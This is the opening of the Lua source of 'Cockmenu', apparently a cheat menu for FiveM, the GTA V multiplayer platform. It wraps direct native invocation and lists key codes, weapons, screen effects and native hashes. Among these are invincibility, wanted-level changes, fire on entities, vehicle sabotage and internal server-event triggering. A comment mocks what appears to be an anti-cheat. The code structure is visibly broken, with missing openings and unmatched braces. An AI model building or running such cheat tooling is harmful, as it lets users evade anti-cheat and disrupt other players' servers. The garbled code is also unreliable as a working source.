Cockmenu - Lua 1
Cockmenu - Lua 1
CreateThread(function()
-- jebac disa :D
-- I did't want to make this gui anymore ngl
LMenuX = 0.5,
LMenuY = 0.5,
},
r = {
_to_string = tostring,
},
}
Cock.Native = function(native, ...)
local _n = Cock.r._to_string(native)
if _n then
return _cit_.InvokeNative(_n, ...)
end
end
local CockT = {
UseCustomInput = false,
Inv = {
["Invoke"] = Cock.Native,
["Thread"] = _cit_.CreateThread,
["Wait"] = _cit_.Wait
},
RGBPicker = {
['value'] = {min = 0, max = 255, value = 255, value_2 = 255},
['Style'] = {min = 0, max = 255, value = 'orange-red-yellow', value_2 =
0},
['Alpha'] = {min = 0, max = 255, value = 255},
},
},
Strings = {
len = string.len, sgmatch = string.gmatch,
lower = string.lower, upper = string.upper,
find = string.find, sub = string.sub,
gsub = string.gsub, tostring = tostring,
format = string.format, tremove = table.remove,
tinsert = table.insert, tunpack = table.unpack,
tsort = table.sort,
msgunpack = msgpack.unpack, msgpack = msgpack.pack,
jsonencode = json.encode, jsondecode = json.decode,
type = type, vector3 = vector3, pcall = pcall,
load = load,
},
Math = {
random = math.random,
randomseed = math.randomseed, sin = math.sin,
cos = math.cos, sqrt = math.sqrt,
pi = math.pi, rad = math.rad,
abs = math.abs, floor = math.floor,
deg = math.deg, atan2 = math.atan2,
tonumber = tonumber, pairs = pairs,
ipairs = ipairs, yield = coroutine.yield,
wrap = coroutine.wrap, printLog = _cit_.Trace,
},
Keys = {
["BACKSPACE"] = 177, ["ESC"] = 322, ["F1"] = 288, ["F2"] = 289,
["F3"] = 170, ["F5"] = 166, ["F6"] = 167, ["F7"] = 168, ["F8"] = 169, ["F9"] = 56,
["F10"] = 57, ["F11"] = 344, ["~"] = 243, ["1"] = 157, ["2"] = 158,
["3"] = 160, ["4"] = 164, ["5"] = 165, ["6"] = 159, ["7"] = 161, ["8"] = 162,
["9"] = 163, ["-"] = 84, ["="] = 83, ["TAB"] = 37, ["Q"] = 44, ["W"]
= 32, ["E"] = 38, ["R"] = 45, ["T"] = 245,
["Y"] = 246, ["U"] = 303, ["P"] = 199, ["["] = 39, ["]"] = 40,
["ENTER"] = 18, ["CAPS"] = 137, ["A"] = 34, ["S"] = 8, ["D"] = 9,
["F"] = 23, ["G"] = 47, ["H"] = 74, ["K"] = 311, ["L"] = 182,
["LEFTSHIFT"] = 21, ["Z"] = 20, ["X"] = 73, ["C"] = 26,
["V"] = 0, ["B"] = 29, ["N"] = 249, ["M"] = 244, [","] = 82, ["."] =
81, ["LEFTCTRL"] = 36, ["LEFTALT"] = 19, ["SPACE"] = 22,
["RIGHTCTRL"] = 70, ["HOME"] = 213, ["INSERT"] = 121, ["PAGEUP"] =
10, ["PAGEDOWN"] = 11, ["DELETE"] = 178,["LEFT"] = 174,
["RIGHT"] = 175, ["UP"] = 172, ["DOWN"] = 173, ["NENTER"] = 201,
["MWHEELUP"] = 15, ["MWHEELDOWN"] = 14, ["N4"] = 108, ["N5"] = 110, ["N6"] = 107,
["N+"] = 96, ["N-"] = 97, ["N7"] = 117, ["N8"] = 111, ["N9"] = 118,
["MOUSE1"] = 24, ["MOUSE2"] = 25, ["MOUSE3"] = 348, ["`"] = 243,
},
Keysv2 = {
["~"] = 243, ["1"] = 157, ["2"] = 158, ["3"] = 160, ["4"] = 164,
["5"] = 165, ["6"] = 159, ["7"] = 161, ["8"] = 162,
["9"] = 163, ["-"] = 84, ["="] = 83, ["q"] = 44, ["w"] = 32, ["e"] =
38, ["r"] = 45, ["t"] = 245,
["y"] = 246, ["u"] = 303, ["p"] = 199, ["["] = 39, ["]"] = 40, ["a"]
= 34, ["s"] = 8, ["d"] = 9,
["f"] = 23, ["g"] = 47, ["h"] = 74, ["k"] = 311, ["l"] = 182, ["z"]
= 20, ["x"] = 73, ["c"] = 26,
["v"] = 0, ["b"] = 29, ["n"] = 249, ["m"] = 244, [","] = 82, ["."] =
81, ["`"] = 243,
},
Weapons = {
"PISTOL", "PISTOL_MK2", "COMBATPISTOL", "APPISTOL", "REVOLVER",
"REVOLVER_MK2","DOUBLEACTION","PISTOL50", "SNSPISTOL", "SNSPISTOL_MK2",
"HEAVYPISTOL","VINTAGEPISTOL","STUNGUN","FLAREGUN","MARKSMANPISTOL","KNIFE","KNUCKL
E","NIGHTSTICK","HAMMER","BAT","GOLFCLUB","CROWBAR","BOTTLE",
"DAGGER","HATCHET", "MACHETE", "FLASHLIGHT",
"SWITCHBLADE","POOLCUE","PIPEWRENCH",
"MICROSMG","MINISMG","SMG","SMG_MK2","ASSAULTSMG","COMBATPDW","GUSENBERG","MACHINEP
ISTOL","MG","COMBATMG","COMBATMG_MK2","ASSAULTRIFLE","ASSAULTRIFLE_MK2",
"CARBINERIFLE","CARBINERIFLE_MK2","ADVANCEDRIFLE","SPECIALCARBINE","SPECIALCARBINE_
MK2","BULLPUPRIFLE","BULLPUPRIFLE_MK2","COMPACTRIFLE","PUMPSHOTGUN","PUMPSHOTGUN_MK
2",
"SWEEPERSHOTGUN","SAWNOFFSHOTGUN","BULLPUPSHOTGUN","ASSAULTSHOTGUN","MUSKET","HEAVY
SHOTGUN","DBSHOTGUN","SNIPERRIFLE","HEAVYSNIPER","HEAVYSNIPER_MK2","MARKSMANRIFLE",
"MARKSMANRIFLE_MK2","GRENADELAUNCHER","GRENADELAUNCHER_SMOKE","RPG","MINIGUN","FIRE
WORK","RAILGUN","HOMINGLAUNCHER","COMPACTLAUNCHER","GRENADE","STICKYBOMB",
"PROXMINE","BZGAS","SMOKEGRENADE","MOLOTOV","FIREEXTINGUISHER","PETROLCAN","SNOWBAL
L","FLARE","BALL"
},
Anims = {
{lib = "gestures@m@standing@casual", anim = "gesture_hello"},
{lib = "gestures@m@standing@casual", anim = "gesture_point"},
{lib = "gestures@m@standing@casual", anim =
"gesture_come_here_soft"},
{lib = "gestures@m@standing@casual", anim = "gesture_bring_it_on"},
{lib = "gestures@m@standing@casual", anim = "gesture_me"},
{lib = "gestures@m@standing@casual", anim = "gesture_easy_now"},
{lib = "gestures@m@standing@casual", anim = "gesture_damn"},
{lib = "rcmpaparazzo_2", anim = "shag_loop_poppy"},
{lib = "rcmpaparazzo_2", anim = "shag_loop_a"},
},
Effects = {
"AirRaceBoost01","AirRaceBoost02","AmbientPUSH","AP1_01_B_IntRefRange","AP1_01_C_No
Fog","ArenaEMP","ArenaEMP_Blend","ArenaWheelPurple01","ArenaWheelPurple02","Bank_HL
WD","Barry1_Stoned","BarryFadeOut","baseTONEMAPPING","BeastIntro01","BeastIntro02",
"BeastLaunch01","BeastLaunch02","BikerFilter","BikerForm01","BikerFormFlash","Biker
s","BikersSPLASH","blackNwhite","BlackOut","BleepYellow01","BleepYellow02","Bloom",
"BloomLight","BloomMid","BombCam01","BombCamFlash","Broken_camera_fuzz","buggy_shac
k","buildingTOP","BulletTimeDark","BulletTimeLight","CAMERA_BW","CAMERA_secuirity",
"CAMERA_secuirity_FUZZ","canyon_mission","carMOD_underpass","carpark","carpark_dt1_
02","carpark_dt1_03","Carpark_MP_exit","cashdepot","cashdepotEMERGENCY","casino_bri
ghtroom","casino_mainfloor","casino_mainWhiteFloor","casino_managementlobby","casin
o_managementOff","casino_managersoffice","CasinoBathrooms","cBank_back","cBank_fron
t","ch2_tunnel_whitelight","CH3_06_water","CHOP","cinema","cinema_001","cops","Cops
SPLASH","crane_cam","crane_cam_cinematic","CrossLine01","CrossLine02","CS1_railwayB
_tunnel","CS3_rail_tunnel","CUSTOM_streetlight","damage","DeadlineNeon01","default"
,"DefaultColorCode","dlc_casino_carpark","DLC_Casino_Garage","DONT_overide_sunpos",
"Dont_tazeme_bro","dont_tazeme_bro_b","downtown_FIB_cascades_opt","DrivingFocusDark
","DrivingFocusLight","Drone_FishEye_Lens","DRUG_2_drive","Drug_deadman","Drug_dead
man_blend","drug_drive_blend01","drug_drive_blend02","drug_flying_01","drug_flying_
02","drug_flying_base","DRUG_gas_huffin","drug_wobbly","Drunk","mp_lad_day","mp_lad
_judgment","mp_lad_night","dying","eatra_bouncelight_beach","epsilion","exile1_exit
","exile1_plane","ExplosionJosh","EXT_FULLAmbientmult_art","ext_int_extlight_large"
,"EXTRA_bouncelight","eyeINtheSKY","Facebook_NEW","facebook_serveroom","FIB_5","FIB
_6","FIB_A","FIB_B","FIB_interview","FIB_interview_optimise","FinaleBank","FinaleBa
nkexit","FinaleBankMid","fireDEPT","FORdoron_delete","Forest","fp_vig_black","fp_vi
g_blue","fp_vig_brown","fp_vig_gray","fp_vig_green","fp_vig_red","FrankilinsHOUSEhi
lls","frankilnsAUNTS_new","frankilnsAUNTS_SUNdir","FRANKLIN","FranklinColorCode","F
ranklinColorCodeBasic","FranklinColorCodeBright","FullAmbientmult_interior","galler
y_refmod","garage","gen_bank","glasses_black","Glasses_BlackOut","glasses_blue","gl
asses_brown","glasses_Darkblue","glasses_green","glasses_orange","glasses_pink","gl
asses_purple","glasses_red","glasses_Scuba","glasses_VISOR","glasses_yellow","gorge
_reflection_gpu","gorge_reflectionoffset","gorge_reflectionoffset2","graveyard_shoo
tout","grdlc_int_02","grdlc_int_02_trailer_cave","gunclub","gunclubrange","gunshop"
,"gunstore","half_direct","hangar_lightsmod","Hanger_INTmods","heathaze","heist_boa
t","heist_boat_engineRoom","heist_boat_norain","helicamfirst","heliGunCam","Hicksba
r","HicksbarNEW","hillstunnel","Hint_cam","hitped","hud_def_blur","hud_def_blur_swi
tch","hud_def_colorgrade","hud_def_desat_cold","hud_def_desat_cold_kill","hud_def_d
esat_Franklin","hud_def_desat_Michael","hud_def_desat_Neutral","hud_def_desat_switc
h","hud_def_desat_Trevor","hud_def_desatcrunch","hud_def_flash","hud_def_focus","hu
d_def_Franklin","hud_def_lensdistortion","hud_def_lensdistortion_subtle","hud_def_M
ichael","hud_def_Trevor","ImpExp_Interior_01","IMpExt_Interior_02","IMpExt_Interior
_02_stair_cage","InchOrange01","InchOrange02","InchPickup01","InchPickup02","InchPu
rple01","InchPurple02","INT_FullAmbientmult","INT_FULLAmbientmult_art","INT_FULLAmb
ientmult_both","INT_garage","INT_mall","INT_NO_fogALPHA","INT_NoAmbientmult","INT_N
oAmbientmult_art","INT_NoAmbientmult_both","INT_NOdirectLight","INT_nowaterREF","IN
T_posh_hairdresser","INT_smshop","INT_smshop_indoor_bloom","INT_smshop_inMOD","INT_
smshop_outdoor_bloom","INT_streetlighting","INT_trailer_cinema","id1_11_tunnel","im
pexp_interior_01_lift","int_amb_mult_large","int_arena_01","int_arena_Mod","int_are
na_Mod_garage","int_arena_VIP","int_Barber1","int_carmod_small","int_carrier_contro
l","int_carrier_control_2","int_carrier_hanger","int_carrier_rear","int_carrier_sta
ir","int_carshowroom","int_chopshop","int_clean_extlight_large","int_clean_extlight
_none","int_clean_extlight_small","int_ClothesHi","int_clotheslow_large","int_cluck
infactory_none","int_cluckinfactory_small","int_ControlTower_none","int_ControlTowe
r_small","int_dockcontrol_small","int_extlght_sm_cntrst","int_extlight_large","int_
extlight_large_fog","int_extlight_none","int_extlight_none_dark","int_extlight_none
_dark_fog","int_extlight_none_fog","int_extlight_small","int_extlight_small_clipped
","int_extlight_small_fog","int_Farmhouse_none","int_Farmhouse_small","int_Franklin
Aunt_small","int_GasStation","int_hanger_none","int_hanger_small","int_Hospital_Blu
e","int_Hospital_BlueB","int_hospital_dark","int_Hospital_DM","int_hospital_small",
"int_Hospital2_DM","int_lesters","int_Lost_none","int_Lost_small","int_methlab_smal
l","int_motelroom","int_office_Lobby","int_office_LobbyHall","int_tattoo","int_tatt
oo_B","int_tunnel_none_dark","interior_WATER_lighting","introblue","jewel_gas","jew
el_optim","jewelry_entrance","jewelry_entrance_INT","jewelry_entrance_INT_fog","Kif
flom","KT_underpass","lab_none","lab_none_dark","lab_none_dark_fog","lab_none_dark_
OVR","lab_none_exit","lab_none_exit_OVR","LectroDark","LectroLight","LIGHTSreduceFA
LLOFF","li","LifeInvaderLOD","lightning","lightning_cloud","lightning_strong","ligh
tning_weak","LightPollutionHills","lightpolution","LODmult_global_reduce","LODmult_
global_reduce_NOHD","LODmult_HD_orphan_LOD_reduce","LODmult_HD_orphan_reduce","LODm
ult_LOD_reduce","LODmult_SLOD1_reduce","LODmult_SLOD2_reduce","LODmult_SLOD3_reduce
","lodscaler","LostTimeDark","LostTimeFlash","LostTimeLight","maxlodscaler","metro"
,"METRO_platform","METRO_Tunnels","METRO_Tunnels_entrance","MichaelColorCode","Mich
aelColorCodeBasic","MichaelColorCodeBright","MichaelsDarkroom","MichaelsDirectional
","MichaelsNODirectional","micheal","micheals_lightsOFF","michealspliff","michealsp
liff_blend","michealspliff_blend02","militarybase_nightlight","mineshaft","morebloo
m","morgue_dark","morgue_dark_ovr","Mp_apart_mid","MP_Arena_theme_atlantis","MP_Are
na_theme_evening","MP_Arena_theme_hell","MP_Arena_theme_midday","MP_Arena_theme_mor
ning","MP_Arena_theme_night","MP_Arena_theme_saccharine","MP_Arena_theme_sandstorm"
,"MP_Arena_theme_scifi_night","MP_Arena_theme_storm","MP_Arena_theme_toxic","MP_Are
na_VIP","mp_battle_int01","mp_battle_int01_dancefloor","mp_battle_int01_dancefloor_
OFF","mp_battle_int01_entry","mp_battle_int01_garage","mp_battle_int01_office","mp_
battle_int02","mp_battle_int03","mp_battle_int03_tint1","mp_battle_int03_tint2","mp
_battle_int03_tint3","mp_battle_int03_tint4","mp_battle_int03_tint5","mp_battle_int
03_tint6","mp_battle_int03_tint7","mp_battle_int03_tint8","mp_battle_int03_tint9","
mp_bkr_int01_garage","mp_bkr_int01_small_rooms","mp_bkr_int01_transition","mp_bkr_i
nt02_garage","mp_bkr_int02_hangout","mp_bkr_int02_small_rooms","mp_bkr_ware01","mp_
bkr_ware02_dry","mp_bkr_ware02_standard","mp_bkr_ware02_upgrade","mp_bkr_ware03_bas
ic","mp_bkr_ware03_upgrade","mp_bkr_ware04","mp_bkr_ware05","MP_Bull_tost","MP_Bull
_tost_blend","MP_casino_apartment_bar","MP_casino_apartment_barPARTY","MP_casino_ap
artment_barPARTY_0","MP_casino_apartment_barPARTY_01","MP_casino_apartment_barPARTY
_2","MP_casino_apartment_Bath","MP_casino_apartment_changing","MP_casino_apartment_
cinema","MP_casino_apartment_colour0","MP_casino_apartment_colour1","MP_casino_apar
tment_colour2","MP_casino_apartment_exec","MP_casino_apartment_lobby","MP_casino_ap
artment_lounge","MP_casino_apartment_MBed","MP_casino_apartment_office","MP_casino_
apartment_spa","MP_corona_heist","MP_corona_heist_blend","MP_corona_heist_BW","MP_c
orona_heist_BW_night","MP_corona_heist_DOF","MP_corona_heist_night","MP_corona_heis
t_night_blend","MP_corona_selection","MP_corona_switch","MP_corona_tournament","MP_
corona_tournament_DOF","MP_death_grade","MP_death_grade_blend01","MP_death_grade_bl
end02","MP_deathfail_night","mp_exec_office_01","mp_exec_office_02","mp_exec_office
_03","mp_exec_office_03_blue","mp_exec_office_03C","mp_exec_office_04","mp_exec_off
ice_05","mp_exec_office_06","mp_exec_warehouse_01","MP_Garage_L","mp_gr_int01_black
","mp_gr_int01_grey","mp_gr_int01_white","MP_H_01_Bathroom","MP_H_01_Bedroom","MP_H
_01_New","MP_H_01_New_Bathroom","MP_H_01_New_Bedroom","MP_H_01_New_Study","MP_H_01_
Study","MP_H_02","MP_H_04","mp_h_05","MP_H_06","mp_h_07","mp_h_08","MP_heli_cam","m
p_imx_intwaremed","mp_imx_intwaremed_office","mp_imx_mod_int_01","MP_intro_logo","M
P_job_end_night","MP_job_load","MP_job_load_01","MP_job_load_02","MP_job_lose","MP_
job_preload","MP_job_preload_blend","MP_job_preload_night","MP_job_win","MP_Killstr
eak","MP_Killstreak_blend","MP_Loser","MP_Loser_blend","MP_lowgarage","MP_MedGarage
","mp_nightshark_shield_fp","MP_Powerplay","MP_Powerplay_blend","MP_race_finish","M
P_select","mp_smg_int01_han","mp_smg_int01_han_blue","mp_smg_int01_han_red","mp_smg
_int01_han_yellow","Mp_Stilts","Mp_Stilts_gym","Mp_Stilts_gym2","Mp_Stilts2","Mp_St
ilts2_bath","MP_Studio_Lo","mp_x17dlc_base","mp_x17dlc_base_dark","mp_x17dlc_base_d
arkest","mp_x17dlc_facility","mp_x17dlc_facility_conference","mp_x17dlc_facility2",
"mp_x17dlc_in_sub","mp_x17dlc_in_sub_no_reflection","mp_x17dlc_int_01","mp_x17dlc_i
nt_01_tint1","mp_x17dlc_int_01_tint2","mp_x17dlc_int_01_tint3","mp_x17dlc_int_01_ti
nt4","mp_x17dlc_int_01_tint5","mp_x17dlc_int_01_tint6","mp_x17dlc_int_01_tint7","mp
_x17dlc_int_01_tint8","mp_x17dlc_int_01_tint9","mp_x17dlc_int_02","mp_x17dlc_int_02
_hangar","mp_x17dlc_int_02_outdoor_intro_camera","mp_x17dlc_int_02_tint1","mp_x17dl
c_int_02_tint2","mp_x17dlc_int_02_tint3","mp_x17dlc_int_02_tint4","mp_x17dlc_int_02
_tint5","mp_x17dlc_int_02_tint6","mp_x17dlc_int_02_tint7","mp_x17dlc_int_02_tint8",
"mp_x17dlc_int_02_tint9","mp_x17dlc_int_02_vehicle_avenger_camera","mp_x17dlc_int_0
2_vehicle_workshop_camera","mp_x17dlc_int_02_weapon_avenger_camera","mp_x17dlc_int_
silo","mp_x17dlc_int_sil
o_escape",
"mp_x17dlc_lab","mp_x17dlc_lab_loading_bay","MPApart_H_01","MPApart_H_01_gym","MPAp
artHigh","MPApartHigh_palnning","mugShot","mugShot_lineup","Multipayer_spectatorCam
","multiplayer_ped_fight","nervousRON_fog","NeutralColorCode","NeutralColorCodeBasi
c","NeutralColorCodeBright","NeutralColorCodeLight","NEW_abattoir","new_bank","NEW_
jewel","NEW_jewel_EXIT","NEW_lesters","new_MP_Garage_L","NEW_ornate_bank","NEW_orna
te_bank_entrance","NEW_ornate_bank_office","NEW_ornate_bank_safe","New_sewers","NEW
_shrinksOffice","NEW_station_unfinished","new_stripper_changing","NEW_trevorstraile
r","NEW_tunnels","NEW_tunnels_ditch","new_tunnels_entrance","NEW_tunnels_hole","NEW
_yellowtunnels","NewMicheal","NewMicheal_night","NewMicheal_upstairs","NewMichealgi
rly","NewMichealstoilet","NewMichealupstairs","NewMod","nextgen","NG_blackout","NG_
deathfail_BW_base","NG_deathfail_BW_blend01","NG_deathfail_BW_blend02","NG_filmic01
","NG_filmic02","NG_filmic03","NG_filmic04","NG_filmic05","NG_filmic06","NG_filmic0
7","NG_filmic08","NG_filmic09","NG_filmic10","NG_filmic11","NG_filmic12","NG_filmic
13","NG_filmic14","NG_filmic15","NG_filmic16","NG_filmic17","NG_filmic18","NG_filmi
c19","NG_filmic20","NG_filmic21","NG_filmic22","NG_filmic23","NG_filmic24","NG_film
ic25","NG_filmnoir_BW01","NG_filmnoir_BW02","NG_first","nightvision","NO_coronas","
NO_fog_alpha","NO_streetAmbient","NO_weather","NoAmbientmult","NoAmbientmult_interi
or","NOdirectLight","NoPedLight","NOrain","OrbitalCannon","overwater","Paleto","pal
eto_nightlight","paleto_opt","PennedInDark","PennedInLight","PERSHING_water_reflect
","phone_cam","phone_cam1","phone_cam10","phone_cam11","phone_cam12","phone_cam13",
"phone_cam2","phone_cam3","phone_cam3_REMOVED","phone_cam4","phone_cam5","phone_cam
6","phone_cam7","phone_cam8","phone_cam8_REMOVED","phone_cam9","plane_inside_mode",
"player_transition","player_transition_no_scanlines","player_transition_scanlines",
"PlayerSwitchNeutralFlash","PlayerSwitchPulse","plaza_carpark","PoliceStation","Pol
iceStationDark","polluted","poolsidewaterreflection2","PORT_heist_underwater","powe
rplant_nightlight","powerstation","PPFilter","PPGreen01","PPGreen02","PPOrange01","
PPOrange02","PPPink01","PPPink02","PPPurple01","PPPurple02","prison_nightlight","pr
ojector","prologue","prologue_ending_fog","prologue_ext_art_amb","prologue_reflecti
on_opt","prologue_shootout","Prologue_shootout_opt","pulse","RaceTurboDark","RaceTu
rboFlash","RaceTurboLight","ranch","REDMIST","REDMIST_blend","ReduceDrawDistance","
ReduceDrawDistanceMAP","ReduceDrawDistanceMission","reducelightingcost","ReduceSSAO
","reducewaterREF","refit","reflection_correct_ambient","RemixDrone","RemoteSniper"
,"resvoire_reflection","rply_brightness","rply_brightness_neg","rply_contrast","rpl
y_contrast_neg","rply_motionblur","rply_saturation","rply_saturation_neg","rply_vig
nette","rply_vignette_neg","SALTONSEA","sandyshore_nightlight","SAWMILL","scanline_
cam","scanline_cam_cheap","scope_zoom_in","scope_zoom_out","secret_camera","service
s_nightlight","shades_pink","shades_yellow","SheriffStation","ship_explosion_underw
ater","ship_explosion_underwater","ship_lighting","Shop247","Shop247_none","sleepin
g","SmugglerCheckpoint01","SmugglerCheckpoint02","SmugglerFlash","Sniper","SP1_03_d
rawDistance","spectator1","spectator10","spectator2","spectator3","spectator4","spe
ctator5","spectator6","spectator7","spectator8","spectator9","StadLobby","stc_coron
ers","stc_deviant_bedroom","stc_deviant_lounge","stc_franklinsHouse","stc_trevors",
"stoned","stoned_aliens","stoned_cutscene","stoned_monkeys","StreetLighting","Stree
tLightingJunction","StreetLightingtraffic","STRIP_changing","STRIP_nofog","STRIP_of
fice","STRIP_stage","StuntFastDark","StuntFastLight","StuntSlowDark","StuntSlowLigh
t","subBASE_water_ref","sunglasses","superDARK","switch_cam_1","switch_cam_2","tele
scope","TinyGreen01","TinyGreen02","TinyPink01","TinyPink02","TinyRacerMoBlur","tor
pedo","traffic_skycam","trailer_explosion_optimise","TransformFlash","TransformRace
Flash","TREVOR","TrevorColorCode","TrevorColorCodeBasic","TrevorColorCodeBright","T
revors_room","trevorspliff","trevorspliff_blend","trevorspliff_blend02","Tunnel","t
unnel_entrance","tunnel_entrance_INT","TUNNEL_green","TUNNEL_green_ext","Tunnel_gre
en1","tunnel_id1_11","TUNNEL_orange","TUNNEL_orange_exterior","TUNNEL_white","TUNNE
L_yellow","TUNNEL_yellow_ext","ufo","ufo_deathray","underwater","underwater_deep","
underwater_deep_clear","v_abattoir","V_Abattoir_Cold","v_bahama","v_cashdepot","V_C
IA_Facility","v_dark","V_FIB_IT3","V_FIB_IT3_alt","V_FIB_IT3_alt5","V_FIB_stairs","
v_foundry","v_janitor","v_jewel2","v_metro","V_Metro_station","V_Metro2","v_michael
","v_michael_lounge","V_Office_smoke","V_Office_smoke_ext","V_Office_smoke_Fire","v
_recycle","V_recycle_dark","V_recycle_light","V_recycle_mainroom","v_rockclub","V_S
olomons","V_strip_nofog","V_strip_office","v_strip3","v_strpchangerm","v_sweat","v_
sweat_entrance","v_sweat_NoDirLight","v_torture","Vagos","vagos_extlight_small","VA
GOS_new_garage","VAGOS_new_hangout","VagosSPLASH","VC_tunnel_entrance","vehicle_sub
int","venice_canal_tunnel","vespucci_garage","VolticBlur","VolticFlash","VolticGold
","warehouse","WAREHOUSE","WarpCheckpoint","WATER_lab_cooling","WATER_CH2_06_01_03"
,"WATER_CH2_06_02","WATER_CH2_06_04","WATER_cove","WATER_hills","WATER_ID2_21","WAT
ER_lab","WATER_lab_cooling","WATER_militaryPOOP","WATER_muddy","WATER_port","WATER_
REF_malibu","WATER_refmap_high","WATER_refmap_hollywoodlake","WATER_refmap_low","WA
TER_refmap_med","WATER_refmap_off","WATER_refmap_poolside","WATER_refmap_silverlake
","WATER_refmap_venice","WATER_refmap_verylow","WATER_resevoir","WATER_RichmanStunt
Jump","WATER_river","WATER_salton","WATER_salton_bottom","WATER_shore","WATER_silty
","WATER_silverlake","WeaponUpgrade","whitenightlighting","WhiteOut","winning_room"
,"yacht_DLC","yell_tunnel_nodirect",
},
Natives = {
['IsControlJustReleased'] = '0x50F940259D3841E6',
['SetTextWrap'] = '0x63145D9C883A1A70',
['DetachVehicleWindscreen'] = '0x6D645D59FB5F5AD3',
['SmashVehicleWindow'] = '0x9E5B5E4D2CCD2259',
['SetVehicleTyreBurst'] = '0xEC6A202EE4960385',
['SetVehicleDoorBroken'] = '0xD4D4F6A4AB575A33',
['GetHashKey'] = '0xD24D37CC275948CC',
['SetTextJustification'] = '0x4E096588B13FFECA',
['SetEntityMaxSpeed'] = '0x0E46A3FCBDE2A1B1',
['SetTextRightJustify'] = '0x6B3C4650BC8BEE47',
['GetCurrentPedWeapon'] = '0x3A87E44BB9A01D54',
['SetDriveTaskDrivingStyle'] = '0xDACE1BE37D88AF67',
['SetWeatherTypePersist'] = '0x704983DF373B198F',
['SetWeatherTypeNow'] = '0x29B487C359E19889',
['SetOverrideWeather'] = '0xA43D5C6FE51ADBEF',
['DrawRect'] = '0x3A618A217E5154F0',
['IsAimCamActive'] = '0x68EDDA28A5976D07',
['SetFollowVehicleCamViewMode'] = '0xAC253D7842768F48',
['DisableFirstPersonCamThisFrame'] = '0xDE2EF5DA284CC8DF',
['SetPlayerCanDoDriveBy'] = '0x6E8834B52EC20C77',
['DrawLightWithRangeAndShadow'] = '0xF49E9A9716A04595',
['TriggerScreenblurFadeIn'] = '0xA328A24AAA6B7FDC',
['TriggerScreenblurFadeOut'] = '0xEFACC8AEF94430D5',
['IsPedArmed'] = '0x475768A975D5AD17',
['IsDisabledControlJustReleased'] = '0x305C8DCD79DA8B0F',
['SetMouseCursorActiveThisFrame'] = '0xAAE7CE1D63167423',
['DisableAllControlActions'] = '0x5F4B6931816E599B',
['GetActiveScreenResolution'] = '0x873C9F3104101DD3',
['GetNuiCursorPosition'] = '0xbdba226f',
['IsControlJustPressed'] = '0x580417101DDB492F',
['SetTextFont'] = '0x66E0276CC5F6B9DA',
['SetTextScale'] = '0x07C837F9A01C34C9',
['SetTextCentre'] = '0xC02F4DBFB51D988B',
['SetTextColour'] = '0xBE6B23FFA53FB442',
['ClonePed'] = '0xEF29A16337FACADB',
['SetSwimMultiplierForPlayer'] = '0xA91C6F0FF7D16A13',
['SetPlayerWantedLevel'] = '0x39FF19C64EF7DA5B',
['SetPlayerWantedLevelNow'] = '0xE0A7D1E497FFCD6F',
['TaskJump'] = '0x0AE4086104E067B1',
['SetPedDiesInWater'] = '0x56CEF0AC79073BDE',
['IsPedSittingInVehicle'] = '0xA808AA1D79230FC2',
['SetVehicleNeedsToBeHotwired'] = '0xFBA550EA44404EE6',
['StartEntityFire'] = '0xF6A9D9708F6F23DF',
['SetVehicleTyresCanBurst'] = '0xEB9DC3C7D8596C46',
['SetVehicleNumberPlateTextIndex'] = '0x9088EB5A43FFB0A1',
['BeginTextCommandDisplayText'] = '0x25FBB336DF1804CB',
['AddTextComponentSubstringPlayerName'] = '0x6C188BE134E074AA',
['EndTextCommandDisplayText'] = '0xCD015E5BB0D96A57',
['IsDisabledControlPressed'] = '0xE2587F8CBBD87B1D',
['SetMouseCursorSprite'] = '0x8DB8CFFD58B62552',
['ResetPedVisibleDamage'] = '0x3AC1F7B898F30C05',
['ClearPedLastWeaponDamage'] = '0x0E98F88A24C5F4B8',
['PlaySoundFrontend'] = '0x67C540AA08E4A6F5',
['PlaySound'] = '0x7FF4944CC209192D',
['BeginTextCommandWidth'] = '0x54CE8AC98E120CAB',
['SetGameplayCamRelativeRotation'] = '0x48608C3464F58AB4',
['EndTextCommandGetWidth'] = '0x85F061DA64ED2F67',
['HasStreamedTextureDictLoaded'] = '0x0145F696AAAAD2E4',
['RequestStreamedTextureDict'] = '0xDFA2EF8E04127DD5',
['SetVehicleCustomPrimaryColour'] = '0x7141766F91D15BEA',
['SetVehicleCustomSecondaryColour'] = '0x36CED73BFED89754',
['SetVehicleTyreSmokeColor'] = '0xB5BA80F839791C0F',
['DrawSprite'] = '0xE7FFAE5EBF23D890',
['DestroyDui'] = '0xA085CB10',
['GetDuiHandle'] = '0x1655d41d',
['CreateRuntimeTextureFromDuiHandle'] = '0xb135472b',
['CreateRuntimeTxd'] = '0x1f3ac778',
['CreateDui'] = '0x23eaf899',
['DisableControlAction'] = '0xFE99B66D079CF6BC',
['SetEntityHealth'] = '0x6B76DC1F3AE6E6A3',
['SetPedArmour'] = '0xCEA04D83135264CC',
['TriggerServerEventInternal'] = '0x7FDD1128',
['TriggerEventInternal'] = '0x91310870',
['StopScreenEffect'] = '0x068E835A1D0DC0E3',
['ClearPedBloodDamage'] = '0x8FE22675A5A45817',
['GetEntityCoords'] = '0x3FEF770D40960D5A',
['PlayerPedId'] = '0xD80958FC74E988A6',
['DoesCamExist'] = '0xA7A932170592B50E',
['GetPlayerPed'] = '0x43A66C31C68491C0',
['redUID'] = '0x762376233638',
['Request'] = '0x762376233636',
['NetworkResurrectLocalPlayer'] = '0xEA23C49EAA83ACFB',
['SetEntityCoordsNoOffset'] = '0x239A3351AC1DA385',
['AddArmourToPed'] = '0x5BA652A0CD14DF2F',
['SetPlayerInvincible'] = '0x239528EACDC3E7DE',
['SetEntityInvincible'] = '0x3882114BDE571AD4',
['IsEntityPlayingAnim'] = '0x1F0B79228E461EC9',
['SetEntityVisible'] = '0xEA1C610A04DB6BBB',
['IsPedOnFoot'] = '0x01FEE67DB37F59B2',
['MakePedReload'] = '0x20AE33F3AC9C0033',
['SetAmmoInClip'] = '0xDCD2A934D65CB497',
['SetPedAmmo'] = '0x14E56BC5B5DB6A19',
['GetWeaponClipSize'] = '0x583BE370B1EC6EB4',
['RequestWeaponAsset'] = '0x5443438F033E29C3',
['SetRunSprintMultiplierForPlayer'] = '0x6DB47AA77FD94E09',
['SetPedMoveRateOverride'] = '0x085BF80FA50A39D1',
['GetStreetNameFromHashKey'] = '0xD0EF8A959B8A4CB9',
['GetStreetNameAtCoord'] = '0x2EB41072B4C1E4C0',
['ResetPlayerStamina'] = '0xA6F312FCCE9C1DFE',
['SetSuperJumpThisFrame'] = '0x57FFF03E423A4C0B',
['DrawMarker_2'] = '0xE82728F0DE75D13A',
['RemoveAllPedWeapons'] = '0xF25DF915FA38C5F3',
